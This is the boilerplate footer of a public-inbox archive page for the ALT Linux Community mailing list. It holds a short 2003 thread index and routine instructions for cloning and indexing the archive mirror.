2003-08-21 12:55 ` Alexey Tourbin
2003-08-21 12:12 ` Oleg K. Artemjev
2003-08-21 12:46 ` Sergey Vlasov
2003-08-21 12:54 ` Alexey Tourbin
2003-08-21 13:17 ` Oleg K. Artemjev
ALT Linux Community general discussions
This inbox may be cloned and mirrored by anyone:
git clone --mirror http://lore.altlinux.org/community/0 community/git/0.git
# If you have public-inbox 1.1+ installed, you may
# initialize and index your mirror using the following commands:
public-inbox-init -V2 community community/ http://lore.altlinux.org/community \
mandrake-russian@linuxteam.iplabs.ru community@lists.altlinux.org community@lists.altlinux.ru community@lists.altlinux.com
public-inbox-index community
Example config snippet for mirrors.
Newsgroup available over NNTP:
nntp://lore.altlinux.org/org.altlinux.lists.community
AGPL code for this site: git clone https://public-inbox.org/public-inbox.git